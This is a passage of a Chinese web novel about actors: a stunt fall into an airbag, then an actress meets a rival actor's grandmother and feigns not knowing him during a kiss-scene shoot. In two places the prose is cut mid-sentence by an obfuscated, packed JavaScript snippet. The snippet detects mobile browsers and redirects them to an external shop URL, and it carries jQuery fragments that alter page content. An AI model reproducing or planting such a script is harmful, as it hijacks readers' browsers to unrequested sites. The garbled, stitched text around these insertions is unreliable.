他生在最普通平凡的土地,树根深深扎进潮湿的土壤里,经受风吹雨淋,日晒虫害,树干上是一层层斑驳腐朽的皮,丑陋可怖,没有人会看一眼。 无人问津,无人会在意一棵沉默的树。 他本以为一辈子都会这样,到老死,到成为一堆白骨,可突然有人摘下一枝树梢,将他栽在最高的天台,他才得以见识到世界的广阔与繁华。 直到摇摇欲坠,他才发现,原来他是恐高的,他害怕这样的高度。 他的树干不在这。 可他向往的太阳在。 两条腿虚软无力,像是塞满沉重的石块僵硬,脚掌前半部分已在平台边缘外,只剩脚跟死死踩在平台稳住身体。 他两手紧握护栏,身体如一张弓弯下,沁凉的夜风盘旋着刮来,撩起散乱的长发,奚亭云眼眶不知不觉地充血泛红,脆弱的神经似一根紧绷到极致的皮筋,濒临崩溃的边缘。 他张开麻木僵硬的唇,每说出一个字,喉间干涩得阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126421|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵刺痛:“......你会接住我的,对吗。” 话音落下,被关注着的瀑布平台上方,混黑的一团人影决绝地往前一扑,黑蒙蒙的薄纱衣袍在空中翩飞瞬息,似幽夜里难得一见的夜光蝶,他只扑闪两下,随即快速地向下坠落。 “威亚!!!” 宫欢厉声喊出,早已准备多时的威亚组同时操作拉起威亚线,她反手将对讲机往身后不管不顾地一扔,奋力向救援气垫跑去。 夜色模糊所有人的视线,地面灯光只照亮四五米的高度,人人都仰着头去捕捉那只坠落的蝴蝶,他朦朦胧胧地无法看清,黑纱衣摆被吹拂得宛若盛开莲花,一霎那闪过众人的视线,坠入橙红色的救援气垫中,嘭得一声巨响,他几乎被淹没在气垫里。 这场景,在任何电影画面里都足以让人失语片刻。 在场的人怔愣着,只有一个人飞快且急切地大步冲上救援气垫,半爬半滚地往里摸索:“奚亭云!奚亭云!” 跑动间长发晃动着缠在脸上,遮挡着视线,宫欢费力地往鼓胀的气垫里钻,充气式的救援气垫站不稳人,只能爬着滚着,弄得她好不狼狈,没两下头发乱糟糟,衣服歪扭着。 落入救援气垫的奚亭云浑身作痛,他一度感觉身体被分割成无数块,分割处痛痒交加,抽丝剥茧般地钻痛,被塑料布冰凉地包裹住身体,他几乎喘不过气来,意识微微涣散,大口呼吸却仍在缺氧。 “奚亭云——!!” 她在叫他。 半阖的眼皮忽得抖动,潜意识的条件反射促使他翻过身体,手中紧紧抓着身旁鼓胀充气的塑料布,缓缓撑起半个身体,手脚并用,用尽全力地往宫欢声音那边爬。 “奚亭云!” 宫欢发现他了,她用力到破音,猛力站起身,大步朝他跑来,她跑得歪歪扭扭,还差一段距离时脚下一歪,趁着跌倒的力度索性直接扑向他—— 她两手用尽了力气,狠狠落下来,重重、死死地抱住了他。 奚亭云也在同一时间张开手,两人身体甚至相撞着,他倾身将重量往她身上压。他们一起环抱住对方,紧密到没有缝隙。 宫欢,宫欢,宫欢...... 他一遍遍地在心底叫着她的名字,像是要铭刻在脑海深处作为信标,在茫茫的大海中,船只依赖信标;而在此刻,奚亭云依赖宫欢。 她的体温透过薄薄的针织毛衣传来,热意充足,像燃得正旺的火炉,向外扩散着温度。 相反,他却浑身冰冷的如同死人,手指僵冷到发麻,连蜷缩都困难。将近五小时在瀑布旁边,溅落的水珠不断落在他身上,夜风一吹,干了又湿,湿了又干,他体温早就不正常了。 奚亭云被她勒紧脖颈,到了要呼吸不畅的地步,他却贪恋着这缺氧的甜,恨不能让她再紧一点地圈紧,将他牢牢圈在她的怀里。最好骨血交融,无法分割。 她就这么抱着他片刻,缓过气息后,低声说:“我没骗你吧。” 奚亭云顿了顿,侧过头埋入她颈窝,鼻梁蹭过细嫩的皮肤,凉意激得她缩了缩肩膀,他闷声应道:“嗯......” 没有再说一句话,他们维持着拥抱的姿势。 剧组人员一齐涌来协助救援时,就看到如此让人惊愕的场景,众人面面相觑半天,谁也不好意思打断,最后只好选择闭口沉默,仰头望天。 今夜的星星,真好看啊。 131. 何止认识 CP营销需要双方工作室协商一致。 自宫欢提过炒cp的事后,甘惊鸿对这事上了心。 男演员那边倒是态度良好,经纪人对两人偶尔的互动小动作并不反对,反而笑眯眯地看,这更让甘惊鸿胆战心惊。 因为这位男演员有女朋友了。 经纪人不知道。 每次拿起手机刷视频的时候,甘惊鸿总能看见热门cp里,她与男演员排名靠前,这时她总会在心里默念:【别恨我别恨我,恋爱是他谈的,分的时候千——万别带上我。】 她在这部都市职场剧内的戏份不多,出演的镜头观感还算不错,但并不太出圈,大部分人更喜欢剧内这条副cp的感情线。 宫欢提出炒作,也是想趁此机会加把火,一把将甘惊鸿推向大众视野,多曝光,多营销,人人都眼熟她了,以后好本子更多。 甘惊鸿也在犹豫纠结。 她并不想与其他演员有过多的往来,只是碍于宫欢的提议,才没明面上拒绝。 现在的cp营销大多是维持一段时间就随着时间自然而然地散开,观众们非常有边界感,该嗑的时候嗑,该分的时候分。 即使炒作,大部分人只是看个热闹。 离杀青还差一场戏,拍摄地点选在B市的一座别墅庄园,剧组正在根据剧本内容布景,工作人员来来回回的忙碌。 甘惊鸿站在客厅的落地窗前,反复翻看剧本,重复而熟练地默背台词。 台词都需要带有情绪,因此她偶尔挑挑眉,眨眨眼,对着空气表演。 这座别墅庄园据说建有百年,外部的墙壁布满岁月留下的斑驳细纹,高低错落的欧式圆顶与精妙的珐琅玻璃窗相得益彰,内部装潢则以木质家具偏多,住在庄园里的是一位老妇人。 落地窗映出甘惊鸿的侧影,她背台词背得入神,窗外的老人朝她挥了好几下手,都没看见。 她偶尔翻开剧本,仔细研究剧本上简略的描述情绪的部分,出神地揣摩着。 忽然,剧本上方慢慢地探来一支开得娇艳的粉色蔷薇花,花瓣边缘向外卷曲,几颗水珠晶莹剔透地映出她缩小微观的脸。 甘惊鸿微微怔住,眨了眨眼。 顺着花茎往前看,是一双皮肤皱纹横生的手,无名指上带着祖母绿的戒指。 甘惊鸿抬起头,才看见这位穿着中式衣裙的老妇人。 她头发虽花白,却蓬松卷翘,发间别着精巧的钻卡,笑起来时优雅谦和,眼角皱纹都显得从容有余:“这朵花送给你,它很衬你的气质。” 头一次被这么搭话,让人惊喜不已。 “啊,谢谢!” 甘惊鸿也扬起笑向她谦虚地点头弯腰,双手礼貌地接过蔷薇花。 她这才看见落地窗外满园盛开的蔷薇,不由得惊叹:“这些都是您种的?太漂亮了......” “随便种种,能让人喜欢就好。”老妇人笑笑,轻轻注视着甘惊鸿。 她穿着剧内服饰,一身干练的西服套装,上衣下裤,颈间佩戴圆润柔和的珍珠项链,长发被烫成大卷波浪,简单束成低马尾。 本来偏精英范儿的气质,在被送花后,霎时柔软下来。 甘惊鸿本身的外形形象更像传统言情剧里的小白花,柔弱清冷,可她性格更跳脱活泼,笑起来的跃动感完全将那清冷气息冲散,是另一种甜美。 甘惊鸿来时听过剧组的人说过几嘴。 剧组花费了好大的功夫,托几层关系找熟人才找到这座别墅庄园。为了符合剧情背景里的配角人设,耗费不少人力物力才说服庄园主人,短暂借用场地几天。 没猜错的话...... “您是这座庄园的主人吗?”她好奇问。 老妇人笑着请甘惊鸿坐在一旁的待客茶亭,檀木桌上摆置着小型的流觞曲水,甘惊鸿也不失礼,点头致谢后坐下。 “说什么主人不主人的,一处住的地方。” 老妇人抬手煮茶,动作轻而稳,优雅得赏心悦目,都说岁月从不败美人,甘惊鸿今天算是见到了。 老妇人将煮好的茶放在甘惊鸿面前,聊起天来很随和:“你们拍戏辛不辛苦,我看有时候晚上还在拍,要熬夜熬到天亮,对女孩子多不好啊。” “还好啦,我们年轻人能熬的,”茶水飘起的水雾淡香微涩,她捧起茶轻抿一口,眼睛当即亮了,“好喝!这是什么茶啊,回味甘香,感觉舌头上都是茶香。” 老妇人笑着与她说出。 没拍戏的时间里,甘惊鸿就常与这位庄园主人聊天喝茶,赏花追剧,一度成为忘年交,拍摄时间只有一周,在最后两天时,甘惊鸿说,以后还会常来作客的,老妇人却显得不太高兴。 她说你等等我,接着便转身去了后花园,远远地只能看见在打电话,也不知道是在和谁打。 老妇人拨通电话,彩铃声唱着:“你是我天边最美的云彩,让我用心把你留下——” 最后一个来字还没唱完,电话接通,对面尚没张口,老妇人一改前几日的优雅有礼,岁月老美人的姿态,张口劈头盖脸一通怼: “你还要不要我这个老骨头了!?” “啊?奶奶您说什么呢,我当然要了,唉最近只是有一点忙,您知道我那领导凶的要吃人,一点假都不放,我这才没顾得上回去看您——” “别说这些敷衍我的话,”老妇人严声厉词,“你就说回不回来看我吧,你父母天天不着家就算了,你一个小的也不着家,恋爱不谈钱不花的,全都不要遗产了是不是!” “你们不要就不要,我给我的孙媳妇!你马上回来,我看中一个孙媳妇,赶紧回来抓住她,不然她可就跑了!” “什么,什么什么孙媳妇!?”电话那头传来不敢置信的声音,“您是想诓我回去相亲!!那我肯定死都不回去。” 老妇人当即捂住胸口,疯狂地抽气装病:“呃!!呃——” “奶奶!奶奶您别啊,我回去,回去还不行吗!别玩心脏病那招了!” 老妇人这才满意,又补了句:“三个小时,到老宅这。” “不是,奶奶我还在外地!” “呃——咳咳咳——呕!!” “我回!!我跋山涉水地回去,好了吧,我的祖宗奶奶啊。” 老妇人终于心满意足地挂断电话,转身笑眯眯地走向甘惊鸿。 - 手机挂断通话,萧子重正拍摄着广告代言的形象照。 他看看手机时间,盘算着回老宅的距离,好在同在B市,他赶回去只需要两个小时,不堵车的话,能顺利地在三小时前到老宅。 他抬手向高姐挥挥,急切地举着手机离开摄影棚,高姐过来后,他求饶道:“高姐,我家里有急事,需要马上回去一下,刚才也拍了挺久的,就暂时先用那些照片可以吗?我得在三小时内赶回去,不然我奶奶就要悬梁了。” 查看过摄影师拍摄下的几百张照片,高姐才点头答应,并且要他今晚赶回A市,明天还有其他行程安排。 萧子重说什么都答应,急得衣服也顾不上换,临时找了辆车便开往老宅的方向。 路途遥远,他随手打开车载电台,电台自动随机播放最近的娱乐八卦,一男一女的主持人模式,问答间聊起最近的热搜。 男主持:“大家最近都看热播剧【与有荣焉】了吗?” 女主持:“我有看我有看!最近‘卢臻’和‘赵原’的剧情进展真的快到离谱啊啊,谁能想到本来针锋相对的两个人,会议桌上互相拆台甩脸色,结果一转头出现在一张床上!!” “啊啊啊那场面还差点被主角发现,我当时心脏都快跳出来了,怕他们被发现,又想让主角发现,真是好矛盾啊。” “说起‘卢臻’,我们好多听众朋友们都非常想看到两位演员在剧外合体一次!我还加入了他们的cp超话了呢,‘惊心动魄’在哪里!!?” 一阵短暂的喧闹欢呼声响起又迅速收回,是临时音效包。 男主持无奈笑:“看得出来你有多喜欢他们了——” 啪嗒一声,电台声音骤然结束。 萧子重收手放回在方向盘上,紧绷的下颌看得出他情绪不太好。 本还耐心地等待前车转向,就这几秒间烦躁起来,看什么都不顺眼,他反手摁下喇叭鸣笛催促。 车流仍然堵塞,没有丝毫要行进的意思。 他散漫悠哉的神情收敛了,换成心事重重的模样,仿佛也随车窗外一片红灯海洋变得郁闷。 新换的手机躺在旁边的副驾驶上,他手指无意识摩挲片刻,纠结矛盾,还是没忍住探手取来,识别解锁。 手机界面之前停在微博的超话分页,因此一解锁后,大大的显示页面撞入视线,让人躲都躲不开。 超话分页有一长排,被点进的超话组名为——‘惊心动魄’。 萧子重加入了超话,成为1级粉丝。 微博提示:持续签到可更快获得经验哦~ 车内一丝声音都无,他嗤笑的声音格外清晰,自言自语般地呢喃:“我有这么贱吗。” 他盯着超话里持续出现的剧照、互动的花絮视频,心口泛起密密麻麻的蛰痛,他自虐般地不停下滑,仿佛想一下看完所有帖子。 “嘀嘀——嘀!!” 后车不断鸣笛催促,才将萧子重催回神,他往后视镜瞄了眼,似是不满,将手机扔回副驾驶,继续驱车赶路。 一路堵堵停停,卡在2小时57分到萧宅。 低调不起眼的杂牌车停在别墅前的路边,方便等下再开车离开,他一下车便见自家院门周围停着不少面包车商务车,后门大敞着,熟悉的剧组设备、各类道具摆在后备箱里,一应俱全。 什么情况? 萧子重诧异一秒,随后便见自家大门里走出两人,抱着道具边走边聊:“这两天快结束拍摄了,有的道具能撤掉就提前撤了。” “行,他们杀青了我们工作量至少减一半。” 他愣愣地挡在路中间,两人被挡住去路,以为又是粉丝找来了,头也不抬地说:“不好意思啊,非工作人员禁止入内,里面正在拍摄。” 萧子重没动,两手轻轻松松搭在腰间,手臂长的优势使他这拦路动作颇有气势。 工作人员没听见动静,下意识顺着他那两条穿着皮裤的长腿一路上移,腰线几乎到他们胸口,再往上,是黑色里衬搭宽松的皮衣外套,颈间带着锁链样式的项链,一身黑显得他小麦色的皮肤略白。 他眉眼下压,挑了挑眉梢,一字一句道:“这是我家。” 两个工作人员被这出挑亮眼的人惊得好一会没说出来话,半晌才有一人结结巴巴地解释:“我们,剧组租了下来的......” 剧组,租? 萧子重眼睛转了转,眉心紧紧拧起,怎么都想不明白。 老太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126422|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太不缺钱花啊,怎么会让人来家里拍摄取景? 他不多说,只朝两人点点头致意,一错身,长腿迈了两步便走到了入口台阶上。 被留在原地的两人不明所以地互相看着,又扭过头去看萧子重的背影,人还处在被刚才颜值轰炸的状态,结结巴巴地互相讨论:“我,我怎么看他感觉有点眼熟??” “我我也觉得,你你你感觉他,像不像哪个明星?” “对对,我也这么觉得!” ...... 别墅内部从入口的客厅开始就布置了一些定向滑轨,方便放置摄影机来进行拍摄,四处可见扎头聚堆的工作人员在细碎地探讨着工作内容。 太熟悉的场景。 要不是在大厅看见自己以前买来的一整柜的摄影机模型,他都误会自己是不是走错了剧组。 他放慢脚步,困惑地四处打量。 每走过一段路,总有几个工作人员扭头看他——气质脱俗,俨然是位富家公子哥的作态,可剧组里最近没这号人啊。 萧子重饶有兴味地打量着那些来拍摄的剧组设备,在心里估摸着剧组规模,晃晃悠悠地准备进电梯上二层,去找找老太太人在哪。 途径会客厅,一眼望见落地窗外笑得慈祥温和的老太太,和谁聊天正在兴头上。 他松垮地耸下肩膀,叹了口气,认命似的走过去。 七老八十的奶奶总是挂念萧子重的婚姻大事,他有的是办法应对,凭他这嘴皮子,脑子,几句话就把人哄开心了,把什么垃圾相亲抛到九霄云外去。 他两步绕过精美的白孔雀屏风,抱着手臂倚在一博古架旁,望着他那祖宗奶奶和工作人员闲聊。 “咳咳。”萧子重轻咳着,示意他们注意他。等老太太看见他时,痞里痞气地笑着埋怨,一口的京片子,“整整三小时,紧赶慢赶地可赶回来了,您都不知道一路上多少人朝我的车吐口水,差点把我给淹咯。” 老妇人,也就是萧芸,萧奶奶。 她看见萧子重时,下意识蹙眉,眼神略带嫌弃地上下扫他几眼,然后重重吐出一口气息,似乎非常不想承认这是她孙子。 工作人员转头看见萧子重,惊艳片刻,转而回神去忙了。 “你就穿这身回来见我?”萧奶奶嫌弃地直摇头。 她几步走近,伸出两根手指捏住萧子重的皮衣外套,多碰一点都嫌弃,“赶紧给我去换了,换之前给你在巴黎那边定制的西服,穿好看点,还有你这脖子上戴个狗链子做什么,也都换了!” “换什么啊,这身穿着舒服,那什么西装穿起来束手束脚的,”萧子重被她推搡着,不情不愿地推一下走一步,他本就不想配合,更是拖拖拉拉地,“您不识货啊,这可是那奢牌项链,被您说成狗链子,叫人家听见怕是要发律师函。” 萧奶奶布满皱纹的手指重重点了点他的头,萧子重就顺着那力道装作被推得摇头晃脑,直哎哟叫唤。 萧芸不吃他这套:“少给我贫,赶紧去楼上换衣服,等下见我未来的孙媳妇!我可跟你说,她人特好,大方有礼貌,气质也出尘,不是一般人配得上的......唉,你也不怎么行,但是凑合吧,只能委屈她一下,将就将就。” 这话萧子重听得就不乐意了,不管三七二十一就顶嘴:“什么叫凑合啊,我怎么配不上她了,谁配不上谁还说不准呢。” 傲气得简直没边,萧子重向来都这么嚣张,他不管不顾地往会客厅的沙发上一坐,翘起腿搭在紫檀木茶桌上,险些压到那些精致茶盏。 他压根就不想让这事儿谈成,当然怎么浑怎么来,回来这趟只是为了哄奶奶,其他的得看心情。 “您这么想让我见她,那就见见吧,”萧子重两条长腿交叠,皮靴在青花瓷的茶盏旁格格不入,他甚至伸手将头发胡乱揉得乱七八糟,摆烂一摊手,“得嘞,您快请她出来见见吧,我可真是迫不及待了。” 萧芸被他这胡搞蛮缠的架势折腾得头痛,愈发觉得这破孙子是真不配,这么好的一姑娘没办法留在身边,越想越心痛。 她恨铁不成钢地摇头:“我看她是不会喜欢你这样不成器的,唉,可惜了。” 话说到这,旁边大厅里传出些交谈声,里面隐隐约约有道清亮的声音,即使声音低,仍能听出些琐碎的字句,抑扬顿挫间带着笑意,细细地撩人神经。 萧子重晃脚的动作顿了顿,脸上得逞的笑容缓慢地凝固,偏凶形的眼微微眯起,察觉出一丝熟悉感来。 萧奶奶抬手朝那边招招:“小甘,来,来见见我孙子,他刚回来,你们认识认识,看看能不能做个朋友。” “诶,来啦,”甘惊鸿低声跟工作人员说了声什么,转身快步走来,姿态利落,行走间颇有英姿飒爽感,到了人跟前,她甜甜喊了萧芸一声,“奶奶。” 萧芸乐得握着她的手轻拍,转头看向瘫在沙发上,翘腿踩茶几的破孙子,没好气地介绍:“喏,这是我孙子萧子重,他是学话剧出身的,你有什么不懂的可以问他,说不定能帮上你呢!” 甘惊鸿大脑停滞一瞬:谁? 她缓慢地转头,对上萧子重彻底凝固在脸上的僵笑,诧异地看着他,不敢置信:“前辈——!?” 萧芸不明所以,看看破孙子的僵笑,又看看甘惊鸿的惊讶,意外地问:“你们认识啊?” 甘惊鸿:何止认识...... 萧子重:何止认识...... 132. 演啊,我旁观 会客厅无形的尴尬气息扩散开,萧子重晃动的双脚仿佛石化般僵硬,在甘惊鸿看过来的几秒后猛然收回吊儿郎当的坐姿。 眼睛因长时间地睁着而干涩泛酸,他极快地眨动几下缓和后,更是肆无忌惮地看着萧芸旁边的人。 他的目光带着难以言明的侵略感,冰冷到灼热的温度在甘惊鸿脸上沉缓地游移,他看人太用力,双眼深陷于眉骨的阴影,乍一看显出凶相。 眼前出现的人是真的还是幻觉? 这些天他刷的cp剪辑向视频刷到头晕眼花,有时候甚至贱到没边地梦见她和那什么原的cp场面,看见两人站在一起,他就情绪失控地冲上去强行将他们分开。 而梦中,甘惊鸿却用陌生到冰冷的视线看他:“前辈,请您不要影响我的工作。” 他一下被打回原形,身型被缩小成无数倍,成米粒大小,仰望着面前两座巨型雕像举止亲昵,他却无能为力。 现在不会还在梦里吧? 他那祖宗奶奶找来甘惊鸿给他相亲!?? 想都不用想,一定是梦了。 他拧了拧眉头,刚想掐自己一把,便听见甘惊鸿果断快速地否认道:“啊,不,不认识。” 萧子重抬手的动作僵住,他眼眸暗下一分,下意识屏住呼吸看她,似要将她盯出点什么来。 她明明刚才也惊讶了许久,现在却扬起个笑,眼眸弯弯地看他,好像真是第一次认识,谦逊有礼:“按辈分,我确实应该叫一声‘前辈’的,毕竟我只是半路来当的演员,跟这位老师相比,只能算是‘小白’。” 她在说什么......她在装什么...... 装不认识?一干二净? 记不清是第几个梦了,到了这份上,她还是在推拒他,不想与他有任何牵连么。 萧子重呼吸加重,看她的目光似压抑着说不清的焦虑烦闷,眼神比刚才更凶,连萧芸都注意到。 自家孙子怎么忽然凶巴巴的,以前对待初见面的人,那礼数周到的谁也挑不出错处。刚才还好好的呢,一眨眼跟吃了枪药似的。 “你瞪谁呢!”萧芸骂他一句,怕甘惊鸿被吓到,忙笑着解释,“他平时不这样,对谁都周到有礼,也不知道是吃错了什么药,别介意。” “没关系,”甘惊鸿不但没被他这架势逼退,笑意反比刚才更多,连脸侧都有浅浅的弧度,她明目张胆地朝他眨眼,“希望前辈能多指点一下我,我还有很多...需要学习的地方呢。” 咔哒——萧子重手里捏着的手机出现了些裂缝。 她狡黠地眨眼,当着老太太的面和他玩陌生人游戏。 他扯了扯唇角,勉强算个笑,半咬着后槽牙,深深凝视着她:“客气,前辈指点晚辈,都是举、手、之、劳。” 萧芸怪里怪气地看了萧子重一眼,这孩子什么时候说话也说不利索了。搁以前,他嘴皮子最溜啊。 三人之间氛围奇怪。 萧子重绞尽脑汁地想,要怎么扳回一局,不能总被她牵着鼻子走,他看了那么多cp视频,却一个字都不敢问她,怕她会像上次的梦里一样,说出让人心凉的话。 他站起身,正想恢复平常状态,与她当着别人的面上演一出不相识,看看谁的戏好。 “甘老师,您准备好了吗,导演说准备拍杀青戏了。”剧组人员小跑过来催促道。 甘惊鸿应了一声,转身向萧芸和萧子重说:“奶奶,我先去拍戏了,晚点再聊吧。” 萧芸:“好好,你去忙,晚点一起吃饭哦。” “好呀,”甘惊鸿看他的次数不多,像是真把他当成初次认识的人,她客气似的看他,“前辈也会一起吗?” 刚才他给甘惊鸿的初次印象太差劲,萧芸愈发觉得这破孙子不配,张嘴刚说了半句“他不来”,便听见萧子重主动地应声:“当然。” 萧芸诧异地看了他一眼。 晚点要赶回A市,但一顿饭应该不是问题。 甘惊鸿笑着点头,极为得意的样子。她转身正要去大厅,身后脚步声紧跟着响起,她怔了怔,侧过半边身体,一看,萧子重已迈过茶桌范围,来到她身后几步远的位置。 甘惊鸿心脏骤缩一下,被他这奇怪举动吓到,她眼睫颤了颤看他,继续装作不明白的模样:“前辈?” 萧子重已完全恢复那副吊儿郎当的作态,双手甚至插在皮裤外兜内,身体前倾,更将距离拉近,他扬扬眉,缓缓勾起个意味深长的笑,“指点之前,总要去看看你的表演方式,才能‘指点’得更好,你说呢?” 她,她说什么。 好,或不好? 好像都不太对,形势悄然转变,甘惊鸿隐约觉得天秤倾向她无法掌控的那一端。 她怔怔看他的脸,半晌说不出话,也移不开眼。 她与他的接触多在别墅,同住一个屋檐下,排舞后汗湿的他,疲惫到坐着都能睡着的他,吃饭的他,大笑的他,她全都看过。 不过今日这身偏率性洒脱的皮衣套装风格,倒是头一次见。 刚才没好意思多看,现在萧子重挡住萧芸后,她反倒敢看了。 没错,甘惊鸿顶着他的明知故问,明目张胆地打量他。 他额发下梳,中间挑起一片,露出额头,眼尾涂抹着淡褐色眼影,下眼睑也有细微的眼线痕迹,不重,却恰好勾出与整体气质奇异融合的感觉。 萧子重本身气质偏雅痞风格,这身造型放大他的痞气,还意外地带出些挑拨的性感,仿佛要诱人沉沦下坠,是强势性感的观感。 黑色里衬是v形领口,露出些胸肌的轮廓,他身材健硕,里衣被肌肉撑起,绷得很紧,肌肉紧贴在单薄的衣物上,勾勒分明。 甘惊鸿看着,不自觉咽了咽唾液。 “你看哪里呢?” 萧子重眉头蹙起,她半天不接招,盯着他看什么? 还没来得及细想,她随即便立即轻咳两声,掩饰得笨拙:“能这样最好不过了,只是,会不会太麻烦前辈了。” 萧子重更近两步,身型的阴影笼罩着她,他咬字含糊,拖出暧昧的长音,有意要跟她演下去,眼眸微眯:“说什么麻烦——我最擅长带晚辈了,尤其是你这种‘一无所知’的小白,我什么、都教得会你。” 他侵略性的气息强得漫溢过来,甘惊鸿又咽了唾液,脸颊升腾起微微的热意。 她飞快地瞄他一眼,不敢再多看,转身快步走远,边走边倒豆子似的说:“那,那就这样,您自便。” 跑什么。 萧子重鼻端重重溢出气息,眸色愈发深重地看她的背影。 忽然,身后飞来一巴掌,“啪”得一下重重打在他后颈上,老太太够不着他头顶,只能打在这。 萧子重嗷了一声,捂着后颈转身:“奶奶!您干什么啊。” 萧芸拉着脸骂他,又上手不轻不重地打了两下:“你凶什么凶,小甘都被你吓走了!我好不容易认识个好姑娘,你凶她干什么!她走了谁陪我追剧!谁和我泡茶!?” “诶诶!”萧子重被打得直往后躲,“我哪儿凶她了,我不好好说话的吗。” “你那叫什么好好说话,脸黑得跟煤炭一样,皮笑肉不笑的.....” 连哄带骗了半天,才让老太太安心去追剧,萧子重晃晃悠悠地走到拍摄的大厅来,摄影机已架好,一群剧组人员团团围着两个正在拍戏的演员。 萧子重一望见两人,本来和缓不少的脸色顿时又沉下去。 这场是两人的杀青戏。 甘惊鸿饰演卢臻,另一位男演员饰演赵原,他是圈里二线艺人,常年饰演男配。 两人饰演的角色一路针锋相对,私下却不断产生情愫,到最后,面临的是事业与感情的抉择。 这会是两人的感情戏。 甘惊鸿决绝地转身要离开,被田桥一把攥住手腕,使力拉回,她一旋身,被他紧拥入怀,两人对视着就要吻上去—— “哗——哗啦!!” 一声巨响打断正在拍摄的进程,众人纷纷侧目看向声音来源,包括甘惊鸿,她看过去。 萧子重不慎踢到铁质道具,见众人都看他,仿佛才后知后觉地意识到自己影响了他们,他耸耸肩:“不好意思啊,地方太窄。” 导演只得将这次的拍摄打断,两位演员分开,重新进入状态。 旁边的工作人员窃窃私语,讨论得热火朝天。 “这谁啊?长得有点牛逼,不像是要进组的。” “好像是庄园老太太的孙子吧?” “快看快看,他拖着凳子要干嘛!?” 听见零碎的只言片语,甘惊鸿抿着唇,频频向他那边看。 只见萧子重反手拖着一张休息椅,找了个位置极佳的地儿重重一摆,“啪”,长腿微曲坐了上去,身体后仰微微挺胯,他坐姿张扬狂妄,两腿微微岔开,皮裤的布料便绷紧,皱起几道凌冽的线条。 这姿态,任谁都不免多看两眼。 痞气帅气是一回事,更多的是——这架势,怎么感觉有种宣示主场的意味? 甘惊鸿耳尖烧红得发烫,她慌忙移开眼不去看他。 看见萧芸和萧子重出现在同一个会客厅,并且是亲人的那刻,她怎么都没想到会这么巧。 她本想解释说,他们是认识的。可话到嘴边,想到之前萧子重的那次误发消息...她就存了些小小的报复心思,谁让他的那条消息让她当时心跳骤停。 那就,装作不认识吧。 他这么大剌剌地坐在那,好像非要看她演完这场杀青戏。甘惊鸿有些纠结,手指反复地扣着指甲,她这场戏与田桥有吻戏,还是非常激烈投入的那种吻戏。 萧子重应该看出来了,他刚才...就是刻意打断的。 他,这么堂而皇之地坐在一旁,是打算要看到底吗? 甘惊鸿暗暗后悔,她就不该挑衅似的报复他,说什么指点,现在好了,他咬住这点不放,仿佛真要看到最后。 她入戏快这点常被导演们夸赞,这次却久久无法进入状态,思绪被分走小小的一部分,生硬地如同小石子硌着她,始终不能顺畅地入戏。 剧组化妆师走来给她细致的补妆,耳尖那点微红始终褪不下去,惹眼得很。 一旁,与她搭戏的男演员过来搭话,拿着剧本与甘惊鸿细聊交谈,两人都带着笑,气氛轻松惬意。 剧组人员来来回回地由萧子重眼前经过,明里暗里地打量他,他只双手环胸,目光紧盯着不远处交谈的两人身上。 她耳朵红了。 虽已入秋,温度常常在十几度徘徊,不过室内仍是二十多度的样子,总不能是冷的。 那是,和那个人对戏很开心? 想到另一种可能,萧子重后槽牙咬得死紧,脸颊两侧凸起不明显的弧度。呼吸放得沉缓,胸前的起伏如同静静蛰伏的猎豹,眯眼假寐。 导演给得时间不多,甘惊鸿迟迟进入不了状态。 迟疑片刻,她还是迈步过来,眼神不自然地左右看,就是不看他。 “前辈...”她语气放得软轻,好似在撒娇,“这场戏不太适合观看...你,你先去休息一下可以吗,等下场戏,再麻烦你指教演技问题。” 她两手将纸质剧本卷成团,拘谨地握着,说话时不自然地卷来卷去,纸张边角卷翘。 她站在离他两步远的位置,离他皮靴鞋尖只差一点距离,看也不看他,眼神不知道飘哪儿去了。 萧子重很少有这么不体面的时候,他微微收起大摆的长腿,半曲着,手肘搭在膝盖上,身体前倾,抬头看她。 “那怎么行,”他勾起个笑,眉头半挑,带着欠揍的嚣张态度,偏头往对戏男演员那边看了眼,又很快收回,继续看着甘惊鸿,“一场戏能看出什么,当然要多看几场,我才能知道哪儿有问题啊。” 末了,他挑衅似的,目光在甘惊鸿脸上细细地看,声音忽然放轻到只有两个人能听到:“你慌什么呢?” 甘惊鸿硬撑着犟嘴:“我没有,只是怕前辈看不下去。” “你的戏我当然看得下去。继续演啊,我旁观。” 他说得轻巧,好像真不当回事,甘惊鸿心里莫名堵得慌,她索性也豁出去:“好,演就演,还希望前辈您能看到最后,给我点建议。” 话放得一个比一个狠。 甘惊鸿干脆利落地转身,快步回去。 满脸都带着必定一条过的信念神情,她主动跟对戏演员沟通细节,两人又站在一起,身体距离近到只有手掌宽。 甘惊鸿反复向导演确认接吻角度,亲得时候要不要换边。 她的手轻柔地抬起对手演员的下颌,主动凑近,微垂下眼睫,用鼻尖去蹭对方的鼻梁,声音轻软:“导演,这个角度可以吗?我要不要有点流连不舍的情绪?” 七八个工作人员连带导演团团围着甘惊鸿两人,有拍照的,拍花絮的,还有导演那大嗓门,说得话一清二楚全进了萧子重耳中: “可以可以!对对对,就这样,你们的角色都有强势的一面,所以接吻最好带点激情,那个,比如咬一下上嘴唇啊,舔一下下嘴唇之类的,诶,小田有唇珠,或者你用嘴唇蹭他的唇珠也行......” 萧子重体内的血液几乎凝固,刚才和她对峙时还能笑,现在只想死。 